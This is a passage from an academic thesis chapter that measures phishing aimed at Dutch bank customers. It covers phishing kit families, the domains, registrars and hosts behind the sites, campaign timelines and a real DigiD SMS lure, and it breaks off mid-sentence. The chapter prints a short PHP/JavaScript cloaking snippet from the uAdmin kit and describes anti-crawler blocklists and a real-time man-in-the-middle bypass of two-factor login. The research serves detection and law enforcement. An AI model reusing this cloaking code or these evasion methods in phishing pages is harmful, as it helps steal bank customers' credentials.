• Resources are the files behind the front-end pages, such as JavaScript, CSS, and
images. These can either be hosted on the same server – hence included in the
phishing kit – or retrieved from the website of the targeted organization.



4

94 INVESTIGATING THE DUTCH PHISHING LANDSCAPE

• Manuals are often located in the root folder of the phishing kit and include de-
tailed instructions on how to set up a VPS, acquire a TLS certificate, and install the
phishing kit. These files often mention default login credentials and a reference to
the creator of the kit.

• Control panel, allowing the phisher to access the back-end of the phishing kit,
view the phished credentials, or trigger new events for the victim. These panels
range from simple text files to extensive dashboards with live visitor manipula-
tions, statistics, and third-party integrations like Jabber – an XMPP instant mes-
sage service.

• Anti-detection (cloaking) methods are present in some kits to prevent detection
by law enforcement agencies, independent researchers like us, or anti-phishing
services such as Google SafeBrowsing [90]. For example, setting up strict IP
blockades on the server-side in an .htaccess file as discussed by Oest et al. [182]
or by redirecting certain visitors based on their IP address, geolocation, or User-
Agent string through PHP scripts. This can also be done client-side by utilizing
JavaScript, as discussed by Invernizzi et al. [112].

4.4.2. PHISHING KIT FAMILIES
Precise distinctions between the 70 phishing kits are difficult to make due to the un-
structured nature of phishing kit development. During our manual dissection of the
gathered kits, we noticed that a large portion of these kits contained copies, older ver-
sions, or modifications of one another. Creating unique fingerprints for each of these
kits is, therefore, difficult, as such fingerprints could easily match a slightly changed or
copied version of another kit. To solve this problem and enable an analysis of their usage,
we categorized the gathered phishing kits into 10 families by comparing the files present
within each kit. For each of the gathered phishing kits, we calculated the percentage of
overlapping files by comparing them pairwise and counting file path matches. Follow-
ing a similar methodology as in Chapter 2, we used a graph structure to find clusters of
similar phishing kits that we can group into families. Displayed in Figure 4.7, we find a
directed graph with phishing kits shown as nodes and edges created due to overlapping
files. An edge between two phishing kits is created if 75% of the files in a kit overlap.
To find families of kits that belong together, we employed a community extraction tech-
nique proposed by Blondel et al. [22]. This is a heuristic method based on modularity
optimization. The resulting structure describes how the network can be compartmen-
talized into smaller sub-networks. Utilizing this technique, we determined 10 families of
at least two phishing kits per family, in which we grouped 53 phishing kits. The remain-
ing 17 phishing kits have no significant overlap with others and are thus considered not
part of any family. An overview of the five largest phishing kit families can be found in
Table 4.2.

When taking a closer look at Figure 4.7, we clearly observe one large interconnected
network containing four different phishing kit families - the uAdmin, tikkie, ics, and
livepanel families. From this large community, we can confirm the hypothesis that
phishing kits ‘learn’ – or steal – a lot from each other. The uAdmin and tikkie families
have a lot of overlapping files, but are nevertheless separated into two families. By
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Table 4.2: Analysis on the five major phishing kit families.

Family # kits Technology Type Decoys

uAdmin 17 PHP, SQLite3 multipanel ✓
tikkie 9 PHP, SQLite3 multipanel ✓
bonken 5 ASP.NET multipanel ✗
ics 4 PHP, MySQL multipanel ✗
livepanel 4 PHP single page ✗
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Figure 4.7: Graph of phishing kit families with the first and last two characters of the MD5 hash of the phishing
kit name (n = 70).

examining the codebase of both these families more closely, we can see that, while
they both build upon the same framework – which will be explained in the following
paragraph – they have slightly different possibilities. Following this same logic, we took
a closer look at the ics family. These kits are connected to the larger network through
only one kit. The framework used in that phishing kit connects the ics family to the
network and is again built upon the same codebase as the rest of the cluster. However, it
is interesting that the other three kits in the ics family are not built upon this framework
but do have the same target as the connecting phishing kit. This indicates that this
family has ‘evolved’ into using this framework to perform their phishing activities,
adapting to newer technologies. The other, smaller families, positioned to the right
in Figure 4.7, clearly employ different tactics than the large interconnected network.
For example, the five phishing kits in the bonken family are all built upon the ASP.NET
Core platform and have nothing in common with the other clusters. As the two largest
families and 26 phishing kits in our dataset are built upon the same framework, we
highlight its characteristics in the following paragraph.

UADMIN FRAMEWORK

Universal Admin – better known as the uAdmin control panel – is a framework written
in PHP and uses a SQLite3 database for information storage. As PHP can be found on
almost every Web server and has built-in support for SQLite, this panel can be deployed
very easily. It allows for many different templates for most Dutch banks, as well as var-
ious decoy pages (as explained in § 4.2.1). A unique feature is that the administrator
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panel can be hosted separately from the phishing page. This makes it easy to set up
multiple phishing domains and proxy all their connections to a control panel hosted
elsewhere. Part of the uAdmin framework is the O-token plugin, enabling real-time in-
teraction with the victim. It includes a detailed log of all entered information, as well
as buttons to prompt the victim for more input and the possibility to integrate Jabber
notifications. This real-time interaction with the victim also allows the attacker to act
as a man-in-the-middle to defeat two-factor authentication defenses. uAdmin employs
a number of anti-detection methods. There is an antibot.php script, which blocks a
list of IP addresses, hostnames, and User-Agents. Additionally, when a victim visits one
of the pages, a unique folder is created on the Web server, all necessary resources are
copied into it, and the victim is redirected to that folder after a timeout of 1 second, as
shown in Listing 4.1.

$random = rand (0, 10000000) ;
$md5 = md5(" $random ");
$base = base64_encode ($md5);
$dst = ’a1b2c3 /’. md5(" $base ");
...
$src = "def";
dublicate ($src , $dst);
...
<script type ="text/ javascript ">

setTimeout ( function (){
window .top. location .href=’<?php echo $dst."?". $_SERVER [" QUERY_STRING

"]; ?> ’; } ,1000)
</ script >

Listing 4.1: Anti-detection techniques employed (file copy and a JavaScript redirect) by the uAdmin phishing
kit family.

This code snippet is very similar to the code mentioned by Han et al. [98] and Oest et
al. [183] and tries to prevent detection by anti-phishing services like PhishTank [194]
or Google Safe Browsing [90]. Han et al. [98] discovered that these anti-phishing bod-
ies crawl submitted domains themselves and place the landing URL on their block lists.
In this case, this is a random path on the Web server, thereby preventing detection. In
February 2021, the Ukrainian attorney general’s office reported that they arrested the
developer of the uAdmin phishing kit after reports that it was used in more than half of
all phishing attacks in Australia in 2019 [137]. The Australian Federal Police stated that
“Pretty much every Australian received a half dozen of these phishing attempts." [137].
Financial institutions in 11 countries, including the United States, Italy, and the Nether-
lands, were suffering from phishing attacks through uAdmin.

4.5. PHISHING DOMAIN ANALYSIS
Using the method of analyzing the stream of issued TLS certificates in real-time as de-
scribed in § 4.3.2, our domain detector labeled 7,936 domains as potentially malicious,
which meant that these domains reached the threshold value and were further analyzed
by our crawler. The domain crawler could match fingerprints of known phishing kits on
1,504 of these domains, which we all manually checked for false positives. We removed
61 domains on which our crawler discovered fingerprints, but no actual phishing took
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Table 4.3: Summary of our phishing domains data collection.

Data collection start September 6, 2020
Data collection end January 6, 2021
Amount of visits made by crawler 499,497
Amount of potential phishing domains found 7,936
Amount of identified phishing FQDN 1,363
Amount unique phishing RDN 1,112
Average amount of FQDN online every day 31
Median time online (h) 24

Table 4.4: High-level classification of detected domains with examples from our study.

Type III
Long, deceptive subdomain

ics-beveiligingsprocedure.zap3.zap-webspace.com
mijn.ing.nl.u1234567.cp.regruhosting.ru

66 4.8%

Type IV
Deceptive top-level domain

betalingsverzoek-online.link
ing-verificatiepagina.eu

1,297 95.2%

place. On most of these domains, this was the result of a fingerprint not being specific
enough, and in some cases, the domain responded successfully to all HTTP GET requests
and thus matched all fingerprints. Finally, as we are investigating the complete end-to-
end life cycle of phishing campaigns, we only included domains able to complete a life
cycle. This meant that we excluded domains that were discovered in the final week of the
data collection period and, therefore, omitted another 80 domains from our dataset. Our
final dataset contained 1,363 verified phishing fully qualified domain names (FQDN),
which have been online for at least one hour. These were hosted on 1,112 different reg-
istered domain names (RDN), as some domains hosted multiple phishing pages on dif-
ferent subdomains. A summary of our dataset is listed in Table 4.3.

4.5.1. DOMAIN NAME CHARACTERISTICS

Setting up a new phishing domain requires a balance between the right amount of per-
suasion of the victim and stealth to prevent early detection by anti-phishing organiza-
tions. As explained in § 4.3.2, common practices to hide malicious activity are to obfus-
cate (parts of) the URL by using deceptive subdomains, Punycode, or typosquatting. The
use of deceptive subdomains is categorized as type III by Oest et al. [182], and we could
discover only 66 of such domains in our dataset. As listed in Table 4.4, we identified
many more type IV domains (1,297) in our dataset. 16 of the 66 type III phishing FQDNs
increased their credibility by including the full FQDN of the target brand as subdomains.
This practice can result from either one of the following techniques: this RDN could be
hijacked or specially chosen to increase stealth. In the case of hijacked domains, at-
tackers have taken control over the domain and made (multiple) subdomains for their
phishing page, a practice discussed extensively by Han et al. [98]. For the other tech-
nique, adding the domain of the targeted bank as a subdomain is done to increase the
credibility of the URL, which works especially well on mobile devices, on which the com-
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plete URL is not always shown in the GUI. Distinctions between these two categories are
difficult to make, as we can not determine whether a domain is hijacked or intentionally
chosen by the attacker to avoid early detection.

Although mentioned in related and previous work on this phenomenon [138, 148],
we did not find any successful usage of Punycode obfuscated domains in our dataset.
The use of Punycode did increase the malicious score of a domain in our domain de-
tector, and we identified 21 of such domains, but our crawler did not find matching fin-
gerprints on any of them. This could indicate that the use of Punycode is less popular
among attackers focused on Dutch consumers, as we did find references to other banks
outside our scope. On the other hand, typosquatting – also known as URL-hijacking –
is found 36 times in our dataset. The practice of replacing the character i with l in do-
mains mimicking the ING Bank and ICS Cards is popular, as we found respectively 16
and 20 of such domains.

However, most phishing FQDNs in our dataset simply obfuscate their malicious in-
tents by not mentioning the name of the target organization. As shown in Table 4.5,
more than half of the domains in our dataset (770) did not include any references to
Dutch banks but were detected because of other words mentioned, which we included
in our methodology as suspicious keywords. These words refer to either banking-related
matters – e.g., payment, verification or debit card – or to completely different matters,
often related to the decoys mentioned in § 4.2.1.

TARGETED BANKS

An analysis of the FQDNs that do refer to one of the targeted banks results in insights
into their popularity. Note, however, that indicators in the domain name are not always
directly linked to the actual Web page on that domain – e.g., a domain including a ref-
erence to bank A contains the login screen of bank B. Our domain detector searched for
references to the ten largest Dutch retail banks and two daughter brands of ABN AMRO
– Tikkie and ICS Cards – within all domains and was able to identify 593 FQDNs referring
to one of them. As shown in Table 4.5, we found 194 domains referring to Rabobank,
which makes it the prime target for attackers. In contrast, only ten domains contained
references to Regiobank, making this bank seem a less attractive target.

4.5.2. DOMAIN REGISTRATIONS

When choosing a top-level domain (TLD) as an attacker, it is important to keep in mind
that different registries have different policies when it comes to monitoring and clean-
ing their TLD. Some registries allow registrars – the companies selling the domains used
for phishing to the attackers – to sell large quantities of domain names to attackers and
are hereby knowingly contributing to online abuse. As The Spamhaus project states:
“Some registrars and resellers knowingly sell high volumes of domains to these actors for
profit, and many registries do not do enough to stop or limit this endless supply of do-
mains.” [197]. The Spamhaus Project monitors domains in SPAM messages and calcu-
lates the percentage of bad domains within each TLD zone. We compare their data with
our results to find out whether phishers focused on Dutch consumers favor these TLDs
over the more regularly used TLDs in the Netherlands. The results of our analysis – listed
in the first columns of Table 4.6 – show that .info is the most commonly used TLD in
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Table 4.5: Popularity of targeted banks and suspicious keywords.

Brand name # Suspicious word (translation) #

Rabobank 194 Betaal (pay) 300
ING Bank 135 Verzoek (request) 271
ICS Cards 48 Mijn (my) 217
Tikkie 40 Veilig (secure) 159
Knab 37 Betaling (payment) 153
ABN AMRO 25 Omgeving (environment) 119
Bunq 16 Platform (platform) 116
SNS Bank 13 Verificatie (verification) 87
Regiobank 10 iDeal (iDeal) 73
Triodos 8 DigiD (DigiD) 70

Not mentioned 770 Not mentioned 125

Table 4.6: Overview of the top 10 top-level domains (TLDs), domain registrars and hosting providers used by
attackers.

TLD
# %

Registrar
# %

Hosting provider
# %

(n = 1,112) (n = 933) (n = 836)

.info 202 18.2 Namecheap 678 72.6 Namecheap 280 33.5

.xyz 159 14.3 REG.RU LLC 46 4.9 Combahton 84 10.0

.com 149 13.4 Porkbun LLC 30 3.2 HS 58 6.9

.nl 102 9.2 NameSilo, LLC 21 2.3 Alibaba (US) 56 6.7

.me 74 6.7 Eranet International Ltd. 17 2.4 Cherryservers 29 3.5

.icu 71 6.4 GoDaddy.com, LLC 12 1.3 First Colo 26 3.1

.online 57 5.1 Tucows Domains Inc. 12 1.3 NCONNECT-AS 24 2.9

.site 50 4.5 AXC 10 1.1 Serverion 23 2.8

.net 28 2.5 Openprovider 8 0.9 YURTEH-AS 14 1.8

.top 23 2.1 Registrar.eu 6 0.6 OVH 14 1.7



4

100 INVESTIGATING THE DUTCH PHISHING LANDSCAPE

our dataset, followed by .xyz. These phishers tend to choose one of the many ‘bad’
TLDs, but they also stick to the more commonly used TLDs in the Netherlands, such as
.com and .nl.

DOMAIN REGISTRARS

Using the retrieved WHOIS records, we were able to identify the registrar of 933 of the
1,112 RDNs in our dataset. We thus have no information about the registrar for 179
RDNs. Inspecting the WHOIS records of the 933 domains revealed that Namecheap is
by far the most popular registrar used by phishers, as 72.6% of all phishing domains
were registered through that registrar. Other large registrars, such as Porkbun and Go-
Daddy.com, are significantly less popular than one would expect. Another interesting
observation is the use of REG.RU, a Russian domain registrar, which is found 46 times in
our dataset. An overview of the 10 most popular domain registrars can be found in the
middle of Table 4.6.

CERTIFICATES AUTHORITIES

The fourth step in the end-to-end life cycle of a phishing campaign is acquiring a TLS
certificate. As explained in § 4.3.2, we leverage this step to detect phishing domains in
our analysis. Let’s Encrypt is the main supplier of TLS certificates in our dataset, as 67%
of all FQDNs use such free certificates. Additionally, we found 146 domains with a certifi-
cate issued by cPanel, software often used to manage the domain. Most certificates (99%)
are Domain Validated (DV). We gathered 33 Organisation Validated (OV) TLS certificates
issued through CloudFlare’s free certificate service. These certificates require additional
validation steps, which are highly unlikely for a phisher to fulfill, as this would disclose
their identity.

4.6. PHISHING WEBSITE DEPLOYMENTS
In the four-month data collection period, our domain crawler made a total of 499,497
visits to 7,936 unique FQDNs. As explained in § 4.3.3, the crawler visits every domain
labeled as potential phishing by our domain detector and monitors it for a period of a
maximum of seven days after the initial discovery. Properties such as the used phishing
kit, the IP address, and WHOIS record are gathered during this process.

Besides choosing a suitable TLD and a domain name to be used for their phishing
attack, phishers also need a place to host their website. By resolving the IP addresses
of identified phishing domains and mapping them to their corresponding Autonomous
System (AS), we determined the hosting provider of each domain. An overview of the
top ten providers can be found in Table 4.6. Similar to the domain registrations men-
tioned in § 4.5, Namecheap is the most popular hosting provider among attackers in our
dataset. The overall popularity of Namecheap has various reasons. First of all, it is – like
it says – cheap, and as attackers want to maximize their profits, it makes sense to rent
an inexpensive VPS instead of an expensive one. Second, Namecheap accepts payments
in Bitcoin [174], which offers more operations security to attackers due to the relative
anonymity of Bitcoin transactions. Finally, it is mentioned explicitly by various phishing
kit creators in their manuals.
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Surprisingly, none of the hosting providers in this list can be regarded as bulletproof
– i.e., very reluctant to LEA requests – except HS, short for Host Sailor. This provider does
have a disreputable background [135] but is used by only 58 domains in our dataset.
Another interesting entry in Table 4.6 is Combahton, an inexpensive German hosting
provider used by services like zap-webspace.de and gamingweb.de. From the lack of bul-
letproof hosting providers, we derive that these phishers are not concerned about the
extended lifespan of their domain. As long as they act quickly, they are long gone be-
fore their domain is taken offline by third parties. However, the choice of these services
does open avenues up for possible law enforcement interventions, as mainstream host-
ing providers – such as Namecheap – are willing to cooperate with law enforcement.

4.6.1. PHISHING KIT PREVALENCE

As stated in § 4.4.2, we obtained a total of 70 phishing kits, which we dissected and
grouped into 10 families of similar kits. During the data collection period, our crawler
found matching fingerprints for 7 of the 10 different families. We show the size of the
Dutch phishing landscape and the popularity of the different phishing kit families in
Figure 4.8, in which the total number of active and online phishing domains is shown
per day, categorized per phishing kit family.

Although we expected a wide variety of phishing kits to be used, the opposite turned
out to be true. The overwhelming majority of phishing domains our detector found were
made using one of many variants of phishing kits within the uAdmin family. Almost 89%
of all identified phishing websites were made with a kit within this family, shown by the
size of the lower blue bars in Figure 4.8. As explained in § 4.4.2, these phishing kits con-
tain many templates for different banks and often include decoy pages, making them
attractive to aspiring phishers. The support for many different bank login templates also
explains why many of the domains are labeled as ‘multiple’ in Figure 4.8. These domains
have fingerprint matches of both uAdmin and another phishing kit family. It seems that
phishing kit creators are integrating as many templates as possible from different kits
into the uAdmin framework. The structure of this framework remains often unchanged,
as we could locate the control panel on its default location on 775 of the 1,211 FQDNs
(64%) that matched a fingerprint of a phishing kit in the uAdmin family. Finally, as shown
in red in Figure 4.8, the category unknown consists of new, unknown phishing kits found
on live phishing domains. As explained in § 4.3.4, we manually verified that these do-
mains were indeed phishing and created fingerprints of the used kits according to the
characteristics of these live domains.

4.6.2. CAMPAIGN DURATION

Since our crawler monitored each identified phishing domain for a maximum of seven
days (168 hours), we were able to closely follow these domains and capture the end-to-
end life cycle of a typical phishing campaign. Additionally, as stated before in § 4.5, we
manually checked the dataset to prevent any false positives from being included in the
data and only included domains with a complete end-to-end life cycle in our analysis,
which allowed us to analyze this in the next paragraphs.

First, we plot a histogram of the uptimes of all domains in our dataset in Figure 4.10
with a logarithmic Y-axis. As one can see, the majority of domains have an uptime of 0 to
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Figure 4.10: Histogram of phishing domain uptimes, including domains with multiple certificates (n = 1,363).
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Figure 4.11: CDF of a phishing domain uptime (n = 1,288), domains with multiple certificates issued excluded.

200 hours, which coincides with our maximum analysis period of 168 hours. However,
there are 75 domains with an uptime of more than 168 hours (7 days). After manually
inspecting this unexpected result, we found that these domains requested multiple TLS
certificates during their uptime, which caused our domain crawler to restart the crawling
cycle as soon as a new certificate was issued. Since these outliers heavily influence the
results and prevent us from determining the timestamps of the steps in the life cycle, we
exclude them for the remainder of the analysis in this paragraph.
Now, we are able to calculate the uptime of the 1,288 remaining phishing domains in
our dataset. On average, a phishing domain in our dataset is online for 45 hours, but we
find a median uptime of 24 hours. The uptimes are shown as a cumulative distribution
function (CDF) in Figure 4.11. Thus, 50% of all domains have a lifespan of less than a day,
whereas just over 30% are online for more than two days. These numbers again stress the
fact that speed is key in anti-phishing initiatives.

INSTALLATION OF PHISHING KITS

Although it is hard to determine which actors are behind phishing attacks on Dutch con-
sumers, the timestamps of the first identification of an active phishing kit installation do
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Figure 4.12: Histogram of kit installation hours (n = 1,363).

give some clues into the region of the world these attackers operate from. As shown in
Figure 4.12, the phishing kit installation times (in UTC+1) align with the Dutch circadian
rhythm. Most phishing kits are installed during the day, while almost none of them are
installed in the middle of the night. This finding, and the fact that most manuals of the
gathered phishing kits are written in Dutch, extends the conclusions of Han et al. [98], as
this would indicate that both victim and attacker originate from the same country.

During installation and testing of the kit, visitors are occasionally redirected to pop-
ular benign domains like Google or Bing or to the website of the target organization.
During our crawls, we observed 49 different phishing domains doing this before their
phishing kit was fully deployed and operational.

END-TO-END LIFE CYCLE STEPS

We can determine timestamps of all steps within a typical phishing campaign – shown in
Figure 4.2 and explained in § 4.2 – by combining the retrieved WHOIS records and crawl-
ing timestamps of all identified phishing domains. Unfortunately, 460 FQDNs in our
dataset lack WHOIS information due to inconsistent information formatting or server er-
rors beyond our control. Therefore, these domains are excluded from the analysis in
this paragraph. Additionally, we focus this analysis on type IV phishing domains only
because type III domains include hijacked domains that have not been registered pur-
posefully for phishing.

The end-to-end life cycle analysis on the remaining 818 domains is summarized in
Figure 4.9 as a horizontal box plot, with the hours since domain registration on a loga-
rithmic X-axis. As indicated by the red bars inside the boxes, a phishing domain is online
– i.e., returns a successful HTTP 200 response – three hours after registration on average.
Oftentimes, it is quickly followed by installing a phishing kit, on average, only one hour
later. After a successful installation, the phisher sends out the bait to its potential vic-
tims and waits for credentials to be filled in. The domain goes offline after 40 hours on
average. Most domains complete this full life cycle within a couple of days. Note, how-
ever, that there are also outliers. In these cases, the domain was registered many days in
advance, waiting to be used by the attacker. In our dataset, only 114 of the 818 domains
(14%) were registered more than 24 hours before coming online.
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4.6.3. EXTERNAL RESOURCES & EVASION TECHNIQUES
During our analysis of phishing domains in the wild, we noticed that some websites
make external connections. As explained in § 4.4.1, phishing websites could either in-
clude all impersonated resources – e.g., JavaScript, CSS, and images – on the domain
or refer to resources hosted externally. Analyzing the resources loaded by all identified
phishing domains tells us that only 104 domains (7.6% of the total dataset) load their
resources directly from their benign counterparts. This finding contradicts the assump-
tion underlying the work of Oest et al. [183] and makes their method of analyzing Web
server logs for malicious external requests less robust, as only a very small portion of
websites in our dataset are pursuing this method. However, it does confirm the findings
of Han et al. [98] and Cova et al. [49], who also observed a negligible portion of phishing
kits with resources loaded from the target organization. These authors studied attacker
behavior on honeypot domains, which is based on the assumption that attackers hijack
domains to use for phishing. Although our measurement methodology is not perfectly
suited to finding such hijacked domains – as these domains often already have TLS cer-
tificates – we did find 18 of them. All of these domains include the full FQDN of the target
organization as subdomains and have a slightly longer uptime of 72 hours on average.

EVASION TECHNIQUES

As explained in § 4.4, some phishing kits deploy evasion techniques to prevent detec-
tion by anti-phishing services such as APWG [97] and Google SafeBrowsing [90]. These
techniques, often referred to as cloaking, allow phishers to show a different page to a
potential victim than to a crawler [112, 260]. Although our methodology is focused on
detecting the use of specific phishing kits in the wild and not identifying cloaking, we did
observe such evasion techniques many times. In fact, 946 (69%) of the detected phish-
ing domains returned a blank screen – and no favicon – to our crawler when we visited
the domain, meaning that the phishing website detected us and deployed cloaking tech-
niques. However, our phishing kit detection was still possible because these websites
returned a successful response for the files included in the fingerprint. The phishing
kit responsible for most of these cloaking activities was again the uAdmin kit, which
combined some server-side and client-side cloaking. On the server side, it checked the
IP address with a block list and created a random path for every visitor, as explained
in § 4.4.2. On the client side, it deployed a simple JavaScript timeout to evade non-
JavaScript crawlers. The combination of both techniques is shown in Listing 4.1.

4.7. EXTERNAL VALIDATION
To benchmark and validate our methodology, we compare our results with data from the
APWG eCrime Exchange (eCX) [9]. This repository contains phishing activity from all
over the world, including many Dutch phishing domains. A comparison shows that our
methodology covers a much broader spectrum of phishing domains, capturing known
differentiations in the phishing landscape. In total, only 77 phishing domains detected
using our methodology overlap with the APWG database, meaning that 1,286 domains
are not listed in their repository. By comparing the date on which a phishing domain
was initially detected by our crawler with the data it had been submitted to the eCX,
we find that our method was able to identify phishing domains much faster. In 76 out
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of the 77 cases (99%), our crawler detected the phishing domains faster than APWG,
with a median time difference of 11.3 hours (almost half a day) earlier. Interestingly, the
domains that overlap with the eCX repository clearly had more bank names included in
their domain name. 61 of the domains (79%) overlapping with eCX contained a reference
to a bank, whereas only 44% had this in the complete dataset. This external validation
shows that our methodology has the potential to detect phishing websites very swiftly,
which could save unsuspecting people from this kind of fraud.

4.8. THROWING OUT THE BAIT
In the previous sections of this chapter, we have unraveled the characteristics of every
step in the end-to-end life cycle of a phishing campaign, except for the last step: sending
out text messages, e-mails, or social media posts, the so-called bait. Although our mea-
surement system does not contain the input data necessary to thoroughly analyze this
step of the life cycle, the authors are among the target population of phishers and thus
regularly receive the thrown-out bait themselves. During our data collection period, we
collected these messages and looked into the ones that contained links to domains in our
dataset. This allows us to show the complete timeline of events in a phishing campaign
life cycle. We discuss an example in the following section.

VERIFY YOUR IDENTITY

Within the first two weeks of our research, we received a text message seemingly origi-
nating from DigiD, the official Dutch digital identity service. The message shown in Fig-
ure 4.14 mentioned a detected suspicious login and requested immediate action to pre-
vent the cancellation of the account. This is a prime example of the scarcity and consis-
tency luring techniques as described in § 4.2.1. The link included in the message directed
victims to https://deblokkeren-digid.xyz, a type IV domain made with a phishing
kit belonging to the uAdmin family. This website was registered only six hours before
the message was received and was fully operational just three hours later. On the web-
site, potential victims were asked to verify their identity by logging into their online bank
account. Multiple options are displayed on the decoy page as shown in Figure 4.13a,
allowing the victim to choose their bank. Upon clicking on one of the buttons, the vic-
tim is redirected to yet another phishing page, as shown in Figure 4.13b, which mimics
the chosen bank’s login screen. That page eventually captures the login credentials of
the victim. Using the DigiD decoy page is a prime example of the technique depicted in
Figure 4.1. Within a day, only 12 hours later, the domain was taken offline.

4.9. RELATED WORK
Earlier work on phishing involves many different angles. Ranging from creating robust
domain detection methods [23, 80, 82, 145, 155, 233], phishing kit analysis [49, 98, 182],
evasion techniques [112, 260] to research focused on victim behavior [247]. Much ef-
fort has been devoted to creating robust detection techniques, but less is known about
the life cycle, ecosystem, and actors behind such attacks. Only a limited number of re-
searchers have investigated this part of phishing [167, 183], which we deem essential to
fully understand the ecosystem and to be able to create robust countermeasures.
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(a) Decoy (landing) page demanding verification through a bank account to prevent account deactivation.

(b) The phishing page is shown after selecting a bank on which user credentials are harvested.

Figure 4.13: The two pages involved in a multi-stage phishing attack using a decoy.



4

108 INVESTIGATING THE DUTCH PHISHING LANDSCAPE

SMS Message – 17-09-2020 21:32 (translated)

[My DigiD] There has been a suspicious login in your My DigiD account. Ver-
ify this directly to prevent cancellation of your My DigiD account through:
https://deblokkeren-digid.xyz/inloggen

17-Sep 15:09 17-Sep 20:09 18-Sep 01:09 18-Sep 06:09

Domain name registred

TLS Certificate issued

Domain crawled and online

Domain offline
SMS received

Figure 4.14: Text message demanding DigiD verification and corresponding timeline of the domain
deblokkeren-digid.xyz.

ANALYSIS ON PHISHING KITS

Early work on phishing kits in 2008 by Cova et al. [49] focused on analyzing ‘free’ phish-
ing kits. They noticed that packages containing easy-to-deploy phishing websites often
contained backdoors, which exfiltrated the gathered information also to third parties,
and that 100% of the investigated kits were written in the PHP language. In their Phish-
Eye study, Han et al. [98] share insights into live phishing websites created by deploying
phishing kits on honeypot domains. Using their sandboxed approach, they were able
to lure phishers into installing phishing kits on their honeypot servers, the behavior of
which was closely monitored. The authors analyzed both phisher and victim actions on
the phishing website and showed that phishing kits are only active for less than 10 days
since their installation, and that most of the victims share the same country of origin.
During their five-month analysis period (Sep 2015 – Jan 2016), they collected 643 unique
phishing kits, of which 74% were correctly installed by 471 distinct attackers. Addition-
ally, they discovered that only 10 phishing kits loaded the resources directly from the
website of the targeted organization.

MEASUREMENTS ON LIVE PHISHING DOMAINS

In recent work, Oest et al. [182] analyzed .htaccess files – commonly used on Apache
Web servers – to capture the evasive behavior of phishers. These files allow phishers to
protect themselves against anti-phishing or search engine crawlers. Their paper states
that deny IP and User-Agent filters are the most prevailing blocklisting technologies,
while the allow IP filter type is often used to target specific countries. Additionally, they
proposed a new high-level classification scheme for phishing URLs that builds upon the
work of Garera et al. [80]. This taxonomy categorizes phishing URLs into five categories
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with different hiding and lure strategies. We also used that taxonomy to classify the URLs
detected by our measurements in § 4.5.1.

The work closest to ours is from the same authors, who continued their research by
investigating the end-to-end life cycle of phishing attacks in 2020. This work relied on
the observation that a substantial proportion of phishing pages request Web resources
to the websites that the attackers impersonate [183]. A unique collaboration with a large
payment provider enabled them to link such Web requests to the phishing websites from
which they originated. This gave the authors an in-depth look into phishing campaigns
from the moment the attacker installs the phishing page to the moment victims disclose
their credentials. They found that the average phishing attack spans 21 hours and that
modern Web browsers display a warning for a detected domain after 16 hours. Oest et
al. [183] called the gap between the launch of the attack and detection by anti-phishing
bodies the ‘golden hours’ of phishing, in which the attackers gather 38% of their phished
credentials. As our work shared a similar goal – analyzing the end-to-end life cycle of a
phishing campaign – we share a number of findings. Namely, the use of extensive use of
server-side cloaking, victim-specific paths, and the presence of MITM-proxies in phish-
ing kits. Additionally, our conclusions regarding the duration of an average phishing at-
tack are comparable. However, there are also notable differences. Their work is focused
on one single organization and includes both HTTP and HTTPS traffic, whereas our work
focuses on the entire Dutch financial sector but is limited to domains served over HTTPS
only. Furthermore, they relied on the assumption that phishing domains load resources
directly from the target website, whereas we discovered that only a negligible portion of
domains in our analysis did so.

4.10. DISCUSSION
This section discusses the inherent limitations of our work and presents public policy
takeaways.

LIMITATIONS

Analyzing a phenomenon like phishing always brings its inherent limitations, and so
does this study. As with all other work on this topic, our methodology is only able to
capture part of the phishing landscape. We identify the following limitations:

We are aware of the fact that by our choice of methodology, we are limited to phish-
ing domains secured by HTTPS connections only. Yet we believe, as 78% of all phishing
in 2020 is delivered through HTTPS according to the APWG [8] and the fact that Oest
et al. [183] concluded that phishing served over HTTPS was three times more effective,
the effects of that concise decision to be limited. Also, note that our approach results in
our ability to identify type III and IV phishing domains only and thus misses the three
other types. Another limitation of this work is that we are limited to identifying known
phishing kits. Phishing domains that do not match any of our predefined fingerprints are
simply not marked as phishing. Besides these missing kits, phishers could also change
the file names or structure of their phishing kits, which would also render our detec-
tion methodology less effective. However, the main advantage of phishing kits is that
they are easy to deploy for any criminal who wants to go phishing. Therefore, we do
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not expect that phishers who deploy these kits are either capable or willing to make nu-
merous changes each time they deploy a new phishing website. On the other hand, our
fingerprinting methodology also has a detection advantage for websites that deploy cer-
tain cloaking strategies. As explained in § 4.4.1, some phishing websites ban IP ranges
or User-Agents known to be used by anti-phishing services through PHP scripts on the
homepage or show a different landing page depending on the country of origin. These
methods make detection based on the characteristics of the page – e.g., login forms, bank
icons, etc. – rather difficult. However, searching for known files – our fingerprints –
on such domains bypasses these evasion methods and results in robust detection of a
phishing kit.

We started our crawling infrastructure three months before data collection started,
which allowed us to carefully examine the domains missed by our crawler. As explained
in § 4.3.4, we created fingerprints based on the source code of live phishing websites
missed by our crawling during testing. So, even without obtaining the actual phishing
kit, we could create robust fingerprints.

Unfortunately, the largest limitation is in the missing data we do not see. As ex-
plained in § 4.5.1, many domain names do not contain references to bank names but
only use common words. Before data collection started, we added 78 such words to our
suspicious keywords list, but we have definitely missed some. As these domains did not
reach the threshold set in our domain detector, they remain undetected. The validation
with APWG eCrime Exchange data in § 4.7 showed that such domains are less prevalent
in this anti-phishing repository. It is, therefore, important to include such words. We
identify the validation with only one data source as a limitation of our work, but leave
validation with more datasets for future work.

PUBLIC POLICY TAKEAWAYS

Taking decisive action on phishing is complex. Ironically, the standardized notice-and-
takedown (NTD) procedure that banks generally outsource to the security industry has
resulted in a game of whack-a-mole, leaving the police chasing these criminals often
empty-handed. And, as concluded by Moore & Clayton [167] in 2017, website removal
is only part of the answer to phishing but is not fast enough to completely mitigate the
problem. If and when phishing campaigns are reported to law enforcement agencies
(LEA), phishing domains are often already taken down, making attribution of the actors
behind phishing campaigns nearly impossible. Therefore, implementing a system as
presented in this chapter would be very beneficial for LEA investigations.

With WhatsApp and text messages being a popular delivery mechanism [176], the in-
teraction with victims has sped up, highlighting the need for early-stage detection even
more. This chapter presented a measurement methodology leveraging the increasing
use of phishing kits and TLS certificates in the phishing scene to make early-stage detec-
tion possible. This would open a window where phishers have their phishing gear ready
but have not yet thrown out the bait. Our findings pinpoint clear choke points in us-
ing phishing kits in campaigns, which law enforcement agencies, in turn, might exploit
for disruption before a takedown occurs. Our measurements of the life cycle of cam-
paigns using phishing kits show a pattern wherein a persistent time gap exists between
domain registration, deployment, and sending out the bait. This is a window of oppor-
